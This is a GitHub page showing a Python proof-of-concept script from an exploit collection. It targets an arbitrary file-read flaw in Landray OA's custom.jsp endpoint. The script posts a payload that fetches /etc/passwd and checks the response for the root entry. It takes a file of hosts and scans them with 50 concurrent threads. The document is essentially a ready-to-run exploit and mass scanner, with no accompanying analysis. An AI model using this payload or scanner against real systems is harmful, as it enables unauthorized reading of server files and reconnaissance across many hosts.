forked from MD-SEC/MDPOCS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLandray_Oa_Custom_FileRead_Poc.py
58 lines (53 loc) · 2.13 KB
/
Landray_Oa_Custom_FileRead_Poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:MDSEC
# from:https://github.com/MD-SEC/MDPOCS
# fid="VHlOV1fIBBw+l3lE6qQaww=="
import sys
import requests
import csv
import urllib3
import hashlib
from concurrent.futures import ThreadPoolExecutor
if len(sys.argv) != 2:
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +')
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ USE: python3 <filename> <hosts.txt> +')
print(
'+ EXP: python3 Landray_Oa_Custom_FileRead_Poc.py url.txt +')
print(
'+----------------------------------------------------------------------------------------------------------+')
sys.exit()
def poc(host):
url = host
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "%s" %host
}
data ='var={"body":{"file":"file:///etc/passwd"}}'
vulurl = "http://"+url + "/sys/ui/extend/varkind/custom.jsp"
try:
r = requests.post(vulurl, headers=headers,data=data)
if r.status_code==200 and "root:x:0:0" in r.text :
print("http://"+host+":true")
else:
return 0
print (host+":false")
except:
print (host+":false")
if __name__ == '__main__':
file = sys.argv[1]
data = open(file)
reader = csv.reader(data)
with ThreadPoolExecutor(50) as pool:
for row in reader:
pool.submit(poc, row[0])